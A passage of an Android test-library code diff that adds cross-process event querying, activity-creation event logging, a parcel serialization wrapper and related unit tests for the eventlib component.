+            Event e = clients.get(id).querier.get(earliestLogtime);
+            return prepareReturnBundle(e);
+        }
+
+        @Override
+        public Bundle getNext(long id, Bundle data) {
+            Instant earliestLogtime = (Instant) data.getSerializable(EARLIEST_LOG_TIME_KEY);
+            Event e = clients.get(id).querier.getNext(earliestLogtime);
+            return prepareReturnBundle(e);
+        }
+
+        @Override
+        public Bundle next(long id, Bundle data) {
+            Instant earliestLogtime = (Instant) data.getSerializable(EARLIEST_LOG_TIME_KEY);
+            Event e = clients.get(id).querier.next(earliestLogtime);
+            return prepareReturnBundle(e);
+        }
+
+        @Override
+        public Bundle poll(long id, Bundle data) {
+            Instant earliestLogtime = (Instant) data.getSerializable(EARLIEST_LOG_TIME_KEY);
+            Duration timeoutDuration = (Duration) data.getSerializable(TIMEOUT_KEY);
+            Event e = clients.get(id).querier.poll(earliestLogtime, timeoutDuration);
+            return prepareReturnBundle(e);
+        }
+
+        private Bundle prepareReturnBundle(Event event) {
+            Bundle responseBundle = new Bundle();
+            if (event != null) {
+                responseBundle.putSerializable(EVENT_KEY, event);
+            }
+
+            return responseBundle;
+        }
+    };
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return binder;
+    }
+}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java
new file mode 100644
index 0000000..26c9f97
--- /dev/null
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java
@@ -0,0 +1,186 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib;
+
+import static android.content.Context.BIND_AUTO_CREATE;
+
+import static com.android.eventlib.QueryService.EARLIEST_LOG_TIME_KEY;
+import static com.android.eventlib.QueryService.EVENT_KEY;
+import static com.android.eventlib.QueryService.QUERIER_KEY;
+import static com.android.eventlib.QueryService.TIMEOUT_KEY;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import java.time.Duration;
+import java.time.Instant;
+import java.util.UUID;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * Implementation of {@link EventQuerier} used to query a single other process.
+ */
+public class
+    RemoteEventQuerier<E extends Event, F extends EventLogsQuery> implements EventQuerier<E> {
+
+    private static final int CONNECTION_TIMEOUT_SECONDS = 30;
+    private static final String LOG_TAG = "RemoteEventQuerier";
+    private static final Context CONTEXT =
+            InstrumentationRegistry.getInstrumentation().getContext();
+
+    private final String mPackageName;
+    private final EventLogsQuery<E, F> mEventLogsQuery;
+    // Each client gets a random ID
+    private final long id = UUID.randomUUID().getMostSignificantBits();
+
+    public RemoteEventQuerier(String packageName, EventLogsQuery<E, F> eventLogsQuery) {
+        mPackageName = packageName;
+        mEventLogsQuery = eventLogsQuery;
+    }
+
+    private final ServiceConnection connection =
+            new ServiceConnection() {
+                @Override
+                public void onServiceConnected(ComponentName className, IBinder service) {
+                    mQuery.set(IQueryService.Stub.asInterface(service));
+                    mConnectionCountdown.countDown();
+                }
+
+                @Override
+                public void onServiceDisconnected(ComponentName className) {
+                    Log.i(LOG_TAG, "Service disconnected from " + className);
+                }
+            };
+
+    @Override
+    public E get(Instant earliestLogTime) {
+        ensureInitialised();
+        Bundle data = createRequestBundle();
+        try {
+            Bundle resultMessage = mQuery.get().get(id, data);
+            E e = (E) resultMessage.getSerializable(EVENT_KEY);
+            while (e != null && !mEventLogsQuery.filterAll(e)) {
+                resultMessage = mQuery.get().getNext(id, data);
+                e = (E) resultMessage.getSerializable(EVENT_KEY);
+            }
+            return e;
+        } catch (RemoteException e) {
+            throw new AssertionError("Error making cross-process call", e);
+        }
+    }
+
+    @Override
+    public E next(Instant earliestLogTime) {
+        ensureInitialised();
+        Bundle data = createRequestBundle();
+        try {
+            Bundle resultMessage = mQuery.get().next(id, data);
+            E e = (E) resultMessage.getSerializable(EVENT_KEY);
+            while (e != null && !mEventLogsQuery.filterAll(e)) {
+                resultMessage = mQuery.get().next(id, data);
+                e = (E) resultMessage.getSerializable(EVENT_KEY);
+            }
+            return e;
+        } catch (RemoteException e) {
+            throw new AssertionError("Error making cross-process call", e);
+        }
+    }
+
+    @Override
+    public E poll(Instant earliestLogTime, Duration timeout) {
+        ensureInitialised();
+        Instant endTime = Instant.now().plus(timeout);
+        Bundle data = createRequestBundle();
+        Duration remainingTimeout = Duration.between(Instant.now(), endTime);
+        data.putSerializable(TIMEOUT_KEY, remainingTimeout);
+        try {
+            Bundle resultMessage = mQuery.get().poll(id, data);
+            E e = (E) resultMessage.getSerializable(EVENT_KEY);
+            while (e != null && !mEventLogsQuery.filterAll(e)) {
+                remainingTimeout = Duration.between(Instant.now(), endTime);
+                data.putSerializable(TIMEOUT_KEY, remainingTimeout);
+                resultMessage = mQuery.get().poll(id, data);
+                e = (E) resultMessage.getSerializable(EVENT_KEY);
+            }
+            return e;
+        } catch (RemoteException e) {
+            throw new AssertionError("Error making cross-process call", e);
+        }
+    }
+
+    private Bundle createRequestBundle() {
+        Bundle data = new Bundle();
+        data.putSerializable(EARLIEST_LOG_TIME_KEY, EventLogs.sEarliestLogTime);
+        return data;
+    }
+
+    private AtomicReference<IQueryService> mQuery = new AtomicReference<>();
+    private CountDownLatch mConnectionCountdown;
+
+    private void ensureInitialised() {
+        if (mQuery.get() != null) {
+            return;
+        }
+
+        blockingConnectOrFail();
+        Bundle data = new Bundle();
+        data.putSerializable(QUERIER_KEY, mEventLogsQuery);
+
+        try {
+            mQuery.get().init(id, data);
+        } catch (RemoteException e) {
+            throw new AssertionError("Error making cross-process call", e);
+        }
+    }
+
+    private void blockingConnectOrFail() {
+        mConnectionCountdown = new CountDownLatch(1);
+        Intent intent = new Intent();
+        intent.setPackage(mPackageName);
+        intent.setClassName(mPackageName, "com.android.eventlib.QueryService");
+
+        boolean didBind;
+        if (mEventLogsQuery.getUserHandle() != null) {
+            didBind = CONTEXT.bindServiceAsUser(
+                    intent, connection, /* flags= */ BIND_AUTO_CREATE,
+                    mEventLogsQuery.getUserHandle());
+        } else {
+            didBind = CONTEXT.bindService(intent, connection, /* flags= */ BIND_AUTO_CREATE);
+        }
+
+        if (didBind) {
+            try {
+                mConnectionCountdown.await(CONNECTION_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+            } catch (InterruptedException e) {
+                throw new AssertionError("Interrupted while binding to service", e);
+            }
+        }
+
+        if (mQuery.get() == null) {
+            throw new AssertionError("Tried to bind but failed");
+        }
+    }
+}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/events/CustomEvent.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/events/CustomEvent.java
index 98db40c..90d3622 100644
--- a/common/device-side/eventlib/src/main/java/com/android/eventlib/events/CustomEvent.java
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/events/CustomEvent.java
@@ -39,8 +39,8 @@
 
     public static final class CustomEventQuery
             extends EventLogsQuery<CustomEvent, CustomEventQuery> {
-        private String mTag = null;
-        private Serializable mData = null;
+        String mTag = null;
+        Serializable mData = null;
 
         private CustomEventQuery(String packageName) {
             super(CustomEvent.class, packageName);
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java
new file mode 100644
index 0000000..0d18e5a
--- /dev/null
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java
@@ -0,0 +1,167 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.PersistableBundle;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when {@link Activity#onCreate(Bundle)} or
+ * {@link Activity#onCreate(Bundle, PersistableBundle)} is called.
+ */
+public final class ActivityCreatedEvent extends Event {
+
+    /** Begin a query for {@link ActivityCreatedEvent} events. */
+    public static ActivityCreatedEventQuery queryPackage(String packageName) {
+        return new ActivityCreatedEventQuery(packageName);
+    }
+
+    public static final class ActivityCreatedEventQuery
+            extends EventLogsQuery<ActivityCreatedEvent, ActivityCreatedEventQuery> {
+        String mName;
+        String mSimpleName;
+        SerializableParcelWrapper<Bundle> mSavedInstanceState;
+        SerializableParcelWrapper<PersistableBundle> mPersistentState;
+
+        private ActivityCreatedEventQuery(String packageName) {
+            super(ActivityCreatedEvent.class, packageName);
+        }
+
+        public ActivityCreatedEventQuery withSavedInstanceState(Bundle savedInstanceState) {
+            mSavedInstanceState = new SerializableParcelWrapper<>(savedInstanceState);
+            return this;
+        }
+
+        public ActivityCreatedEventQuery withPersistentState(PersistableBundle persistentState) {
+            mPersistentState = new SerializableParcelWrapper<>(persistentState);
+            return this;
+        }
+
+        public ActivityCreatedEventQuery withActivityClass(Class<?> clazz) {
+            return withActivityName(clazz.getName());
+        }
+
+        public ActivityCreatedEventQuery withActivityName(String name) {
+            mName = name;
+            return this;
+        }
+
+        public ActivityCreatedEventQuery withActivitySimpleName(String simpleName) {
+            mSimpleName = simpleName;
+            return this;
+        }
+
+        @Override
+        protected boolean filter(ActivityCreatedEvent event) {
+            if (mSavedInstanceState != null
+                    && !mSavedInstanceState.equals(event.mSavedInstanceState)) {
+                return false;
+            }
+            if (mPersistentState != null && !mPersistentState.equals(event.mPersistentState)) {
+                return false;
+            }
+            if (mName != null && !mName.equals(event.mName)) {
+                return false;
+            }
+            if (mSimpleName != null && !mSimpleName.equals(event.mSimpleName)) {
+                return false;
+            }
+            return true;
+        }
+    }
+
+    /** Begin logging a {@link ActivityCreatedEvent}. */
+    public static ActivityCreatedEventLogger logger(Activity activity, Bundle savedInstanceState) {
+        return new ActivityCreatedEventLogger(activity, savedInstanceState);
+    }
+
+    public static final class ActivityCreatedEventLogger extends EventLogger<ActivityCreatedEvent> {
+        private ActivityCreatedEventLogger(Activity activity, Bundle savedInstanceState) {
+            super(activity, new ActivityCreatedEvent());
+            mEvent.mSavedInstanceState = new SerializableParcelWrapper<>(savedInstanceState);
+            setName(activity.getClass().getName());
+            setSimpleName(activity.getClass().getSimpleName());
+            // TODO(scottjonathan): Add more information about the activity (e.g. parse the
+            //  manifest)
+        }
+
+        public ActivityCreatedEventLogger setName(String name) {
+            mEvent.mName = name;
+            return this;
+        }
+
+        public ActivityCreatedEventLogger setSimpleName(String simpleName) {
+            mEvent.mSimpleName = simpleName;
+            return this;
+        }
+
+        public ActivityCreatedEventLogger setSavedInstanceState(Bundle savedInstanceState) {
+            mEvent.mSavedInstanceState = new SerializableParcelWrapper<>(savedInstanceState);
+            return this;
+        }
+
+        public ActivityCreatedEventLogger setPersistentState(PersistableBundle persistentState) {
+            mEvent.mPersistentState = new SerializableParcelWrapper<>(persistentState);
+            return this;
+        }
+    }
+
+    protected SerializableParcelWrapper<Bundle> mSavedInstanceState;
+    protected SerializableParcelWrapper<PersistableBundle> mPersistentState;
+    protected String mName;
+    protected String mSimpleName;
+
+    public Bundle savedInstanceState() {
+        if (mSavedInstanceState == null) {
+            return null;
+        }
+        return mSavedInstanceState.get();
+    }
+
+    public PersistableBundle persistentState() {
+        if (mPersistentState == null) {
+            return null;
+        }
+        return mPersistentState.get();
+    }
+
+    public String name() {
+        return mName;
+    }
+
+    public String simpleName() {
+        return mSimpleName;
+    }
+
+    @Override
+    public String toString() {
+        return "ActivityCreatedEvent{" +
+                " savedInstanceState=" + savedInstanceState() +
+                ", persistentState=" + persistentState() +
+                ", name=" + mName +
+                ", simpleName=" + mSimpleName +
+                ", mPackageName='" + mPackageName + '\'' +
+                ", mTimestamp=" + mTimestamp +
+                '}';
+    }
+}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/premade/EventLibActivity.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/premade/EventLibActivity.java
new file mode 100644
index 0000000..3d3e0cf
--- /dev/null
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/premade/EventLibActivity.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.premade;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.PersistableBundle;
+
+import com.android.eventlib.events.activities.ActivityCreatedEvent;
+
+/**
+ * An {@link Activity} which logs events for all lifecycle events.
+ */
+public class EventLibActivity extends Activity {
+
+    private String mOverrideActivityClassName;
+    private String mOverrideActivitySimpleName;
+
+    public void setOverrideActivityClassName(String overrideActivityClassName) {
+        mOverrideActivityClassName = overrideActivityClassName;
+        mOverrideActivitySimpleName = getSimpleName(overrideActivityClassName);
+    }
+
+    private static String getSimpleName(String name) {
+        final int dot = name.lastIndexOf(".");
+        if (dot > 0) {
+            return name.substring(name.lastIndexOf(".")+1); // strip the package name
+        }
+        return name;
+    }
+
+    /** Log a {@link ActivityCreatedEvent}. */
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        logOnCreate(savedInstanceState, /* persistentState= */ null);
+    }
+
+    /** Log a {@link ActivityCreatedEvent}. */
+    @Override
+    public void onCreate(Bundle savedInstanceState, PersistableBundle persistentState) {
+        super.onCreate(savedInstanceState, persistentState);
+        logOnCreate(savedInstanceState, persistentState);
+    }
+
+    private void logOnCreate(Bundle savedInstanceState, PersistableBundle persistentState) {
+        ActivityCreatedEvent.ActivityCreatedEventLogger logger =
+                ActivityCreatedEvent.logger(this, savedInstanceState)
+                        .setPersistentState(persistentState);
+
+        if (mOverrideActivityClassName != null) {
+            logger.setName(mOverrideActivityClassName)
+                    .setSimpleName(mOverrideActivitySimpleName);
+        }
+
+        logger.log();
+    }
+
+    @Override
+    protected void onStart() {
+        // TODO(scottjonathan): Add log
+        super.onStart();
+    }
+
+    @Override
+    protected void onRestart() {
+        // TODO(scottjonathan): Add log
+        super.onRestart();
+    }
+
+    @Override
+    protected void onResume() {
+        // TODO(scottjonathan): Add log
+        super.onResume();
+    }
+
+    @Override
+    protected void onPause() {
+        // TODO(scottjonathan): Add log
+        super.onPause();
+    }
+
+    @Override
+    protected void onStop() {
+        // TODO(scottjonathan): Add log
+        super.onStop();
+    }
+
+    @Override
+    protected void onDestroy() {
+        // TODO(scottjonathan): Add log
+        super.onDestroy();
+    }
+}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/premade/EventLibAppComponentFactory.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/premade/EventLibAppComponentFactory.java
new file mode 100644
index 0000000..a32cfd9
--- /dev/null
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/premade/EventLibAppComponentFactory.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.premade;
+
+import android.app.Activity;
+import android.app.AppComponentFactory;
+import android.content.Intent;
+import android.util.Log;
+
+/**
+ * An {@link AppComponentFactory} which redirects invalid class names to premade EventLib classes.
+ */
+public class EventLibAppComponentFactory extends AppComponentFactory {
+
+    private static final String LOG_TAG = "EventLibACF";
+
+    @Override
+    public Activity instantiateActivity(ClassLoader cl, String className, Intent intent)
+            throws InstantiationException, IllegalAccessException, ClassNotFoundException {
+
+        try {
+            return super.instantiateActivity(cl, className, intent);
+        } catch (ClassNotFoundException e) {
+            Log.d(LOG_TAG,
+                    "Activity class (" + className + ") not found, routing to EventLibActivity");
+            EventLibActivity activity =
+                    (EventLibActivity) super.instantiateActivity(
+                            cl, EventLibActivity.class.getName(), intent);
+            activity.setOverrideActivityClassName(className);
+            return activity;
+        }
+    }
+}
diff --git a/common/device-side/eventlib/src/main/java/com/android/eventlib/util/SerializableParcelWrapper.java b/common/device-side/eventlib/src/main/java/com/android/eventlib/util/SerializableParcelWrapper.java
new file mode 100644
index 0000000..bb39bb5
--- /dev/null
+++ b/common/device-side/eventlib/src/main/java/com/android/eventlib/util/SerializableParcelWrapper.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.util;
+
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+
+/** A wrapper around a {@link Parcelable} which makes it {@link Serializable}. */
+public class SerializableParcelWrapper<E extends Parcelable> implements Serializable {
+
+    private static final long serialVersionUID = 0;
+
+    private E parcelable;
+
+    public SerializableParcelWrapper(E parcelable)  {
+        this.parcelable = parcelable;
+    }
+
+    public E get() {
+        return parcelable;
+    }
+
+    @Override
+    public boolean equals(Object obj) {
+        if (!(obj instanceof SerializableParcelWrapper)) {
+            return false;
+        }
+        SerializableParcelWrapper<E> other = (SerializableParcelWrapper<E>) obj;
+
+        return parcelable.equals(other.parcelable);
+    }
+
+    @Override
+    public int hashCode() {
+        return parcelable.hashCode();
+    }
+
+    // Serializable readObject
+    private void readObject(ObjectInputStream inputStream) throws ClassNotFoundException,
+            IOException {
+        int size = inputStream.readInt();
+        byte[] bytes = new byte[size];
+        inputStream.read(bytes);
+        Parcel p = Parcel.obtain();
+        p.unmarshall(bytes, 0, size);
+        parcelable = p.readParcelable(Parcelable.class.getClassLoader());
+        p.recycle();
+    }
+
+    // Serializable writeObject
+    private void writeObject(ObjectOutputStream outputStream) throws IOException {
+        Parcel p = Parcel.obtain();
+        p.writeParcelable(parcelable, /* flags= */ 0);
+        byte[] bytes = p.marshall();
+        p.recycle();
+
+        outputStream.writeInt(bytes.length);
+        outputStream.write(bytes);
+    }
+}
diff --git a/common/device-side/eventlib/src/test/AndroidManifest.xml b/common/device-side/eventlib/src/test/AndroidManifest.xml
index 438816d..710df7b 100644
--- a/common/device-side/eventlib/src/test/AndroidManifest.xml
+++ b/common/device-side/eventlib/src/test/AndroidManifest.xml
@@ -18,9 +18,14 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="com.android.eventlib.test">
+    <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="26"/>
     <application
-        android:label="Event Library Tests">
+        android:label="Event Library Tests" android:appComponentFactory="com.android.eventlib.premade.EventLibAppComponentFactory">
         <uses-library android:name="android.test.runner" />
+
+        <activity android:name="com.android.eventlib.premade.EventLibActivity" android:exported="true" />
+        <activity android:name="com.android.generatedEventLibActivity" android:exported="true" />
+
     </application>
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="com.android.eventlib.test"
diff --git a/common/device-side/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java b/common/device-side/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java
index afc9ecd..09ce58f 100644
--- a/common/device-side/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java
+++ b/common/device-side/eventlib/src/test/java/com/android/eventlib/EventLogsTest.java
@@ -16,14 +16,24 @@
 
 package com.android.eventlib;
 
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.testng.Assert.assertThrows;
+import static org.testng.Assert.fail;
+
+import android.app.ActivityManager;
 import android.content.Context;
-import android.os.Handler;
-import android.os.Looper;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.UserHandle;
+import android.os.UserManager;
 
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.SystemUtil;
 import com.android.eventlib.events.CustomEvent;
 
 import org.junit.After;
@@ -33,10 +43,18 @@
 import org.junit.runners.JUnit4;
 
 import java.time.Duration;
+import java.util.HashSet;
+import java.util.concurrent.Executors;
+import java.util.concurrent.ScheduledExecutorService;
+import java.util.concurrent.TimeUnit;
 
 @RunWith(JUnit4.class)
 public class EventLogsTest {
-    private static final Context CONTEXT = InstrumentationRegistry.getInstrumentation().getContext();
+    private static final Context CONTEXT =
+            InstrumentationRegistry.getInstrumentation().getContext();
+    private static final String TEST_APP_PACKAGE_NAME = "com.android.eventlib.tests.testapp";
+    private static final String INCORRECT_PACKAGE_NAME = "com.android.eventlib.tests.notapackage";
+    private static final UserHandle NON_EXISTING_USER_HANDLE = UserHandle.of(1000);
 
     private static final String TEST_TAG1 = "TEST_TAG1";
     private static final String TEST_TAG2 = "TEST_TAG2";
@@ -44,9 +62,11 @@
     private static final String DATA_2 = "DATA_2";
 
     private static final Duration VERY_SHORT_POLL_WAIT = Duration.ofMillis(20);
-    private static final long ONE_SECOND_DELAY_MILLIS = Duration.ofSeconds(1).toMillis();
 
     private boolean hasScheduledEvents = false;
+    private boolean hasScheduledEventsOnTestApp = false;
+    private final ScheduledExecutorService mScheduledExecutorService =
+            Executors.newSingleThreadScheduledExecutor();
 
     @Before
     public void setUp() {
@@ -59,6 +79,10 @@
             // Clear the queue
             CustomEvent.queryPackage(CONTEXT.getPackageName()).poll();
         }
+        if (hasScheduledEventsOnTestApp) {
+            // Clear the queue
+            CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME).poll();
+        }
     }
 
     @Test
@@ -74,6 +98,16 @@
     }
 
     @Test
+    public void resetLogs_differentPackage_get_doesNotReturnLogs() {
+        logCustomEventOnTestApp();
+
+        EventLogs.resetLogs();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        assertThat(eventLogs.get()).isNull();
+    }
+
+    @Test
     public void resetLogs_next_doesNotReturnLogs() {
         CustomEvent.logger(CONTEXT)
                 .setTag(TEST_TAG1)
@@ -86,6 +120,16 @@
     }
 
     @Test
+    public void resetLogs_differentPackage_next_doesNotReturnLogs() {
+        logCustomEventOnTestApp();
+
+        EventLogs.resetLogs();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
     public void resetLogs_poll_doesNotReturnLogs() {
         CustomEvent.logger(CONTEXT)
                 .setTag(TEST_TAG1)
@@ -98,6 +142,16 @@
     }
 
     @Test
+    public void resetLogs_differentPackage_poll_doesNotReturnLogs() {
+        logCustomEventOnTestApp();
+
+        EventLogs.resetLogs();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
     public void get_nothingLogged_returnsNull() {
         EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
                 .withTag(TEST_TAG1);
@@ -106,6 +160,14 @@
     }
 
     @Test
+    public void get_differentPackage_nothingLogged_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .withTag(TEST_TAG1);
+
+        assertThat(eventLogs.get()).isNull();
+    }
+
+    @Test
     public void next_nothingLogged_returnsNull() {
         EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
                 .withTag(TEST_TAG1);
@@ -114,6 +176,14 @@
     }
 
     @Test
+    public void next_differentPackage_nothingLogged_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .withTag(TEST_TAG1);
+
+        assertThat(eventLogs.next()).isNull();
+    }
+
+    @Test
     public void poll_nothingLogged_returnsNull() {
         EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
                 .withTag(TEST_TAG1);
@@ -122,6 +192,65 @@
     }
 
     @Test
+    public void poll_loggedAfter_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .withTag(TEST_TAG1);
+        scheduleCustomEventInOneSecond();
+
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void poll_differentPackage_nothingLogged_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .withTag(TEST_TAG1);
+
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void poll_differentPackage_loggedAfter_returnsNull() {
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .withTag(TEST_TAG1);
+        scheduleCustomEventInOneSecondOnTestApp();
+
+        assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+    }
+
+    @Test
+    public void get_loggedOnTwoPackages_returnsEventFromQueriedPackage() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+        CustomEvent.logger(CONTEXT).setTag(TEST_TAG1).setData(DATA_2).log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .withTag(TEST_TAG1);
+
+        assertThat(eventLogs.get().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void next_loggedOnTwoPackages_returnsEventFromQueriedPackage() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+        CustomEvent.logger(CONTEXT).setTag(TEST_TAG1).setData(DATA_2).log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .withTag(TEST_TAG1);
+
+        assertThat(eventLogs.next().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
+    public void poll_loggedOnTwoPackages_returnsEventFromQueriedPackage() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+        CustomEvent.logger(CONTEXT).setTag(TEST_TAG1).setData(DATA_2).log();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+                .withTag(TEST_TAG1);
+
+        assertThat(eventLogs.poll().data()).isEqualTo(DATA_2);
+    }
+
+    @Test
     public void get_alreadyLogged_returnsEvent() {
         CustomEvent.logger(CONTEXT)
                 .setTag(TEST_TAG1)
@@ -134,6 +263,15 @@
     }
 
     @Test
+    public void get_differentPackage_alreadyLogged_returnsEvent() {
+        logCustomEventOnTestApp();
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+
+        assertThat(eventLogs.get()).isNotNull();
+    }
+
+    @Test
     public void next_alreadyLogged_returnsFirstEvent() {
         CustomEvent.logger(CONTEXT)
                 .setTag(TEST_TAG1)
@@ -151,6 +289,17 @@
     }
 
     @Test
+    public void next_differentPackage_alreadyLogged_returnsFirstEvent() {
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+        logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_2);
+
+        EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+                .withTag(TEST_TAG1);
+
+        assertThat(eventLogs.next().data()).isEqualTo(DATA_1);
+    }
+
+    @Test
     public void poll_alreadyLogged_returnsFirstEvent() {
         CustomEvent.logger(CONTEXT)
                 .setTag(TEST_TAG1)
@@ -168,6 +317,17 @@
     }
 
     @Test
